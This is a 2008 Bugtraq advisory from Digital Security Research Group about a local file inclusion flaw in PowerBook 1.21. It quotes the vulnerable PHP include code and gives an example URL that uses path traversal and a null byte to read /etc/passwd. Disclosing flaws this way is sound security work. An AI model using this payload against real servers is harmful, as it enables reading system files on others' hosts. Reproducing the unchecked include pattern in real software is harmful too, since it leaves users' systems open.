DSECRG-08-19.txt

`Hello, bugtraq.  
  
  
[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory  
  
  
Application: PowerBook  
Versions Affected: 1.21  
Vendor URL: http://www.powerscripts.org/  
Bug: Local File Include  
Exploits: YES  
Reported: 01.02.2008  
Vendor Response: none  
Solution: none  
Date of Public Advisory: ..2008  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Local File Include vulnerability found in script pb_inc/admincenter/index.php   
  
Non-authentication user can directly access to this script.  
  
To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.  
  
  
Code  
****  
#################################################  
  
if (!$page) {  
$page = "home";  
}  
  
$page .= ".inc.php";  
  
if(file_exists($page) == false) {  
echo "  
<div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>  
";  
} else {  
include("$page");  
}  
  
#################################################  
  
  
Example:  
  
http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
  
--   
Alexandr Polyakov  
DIGITAL SECURITY RESEARCH GROUP  
  
mailto:[email protected]  
  
  
  
  
  
  
  
  
  
Mobile :   
Email :   
Web : http://www.sd.zain.com/  
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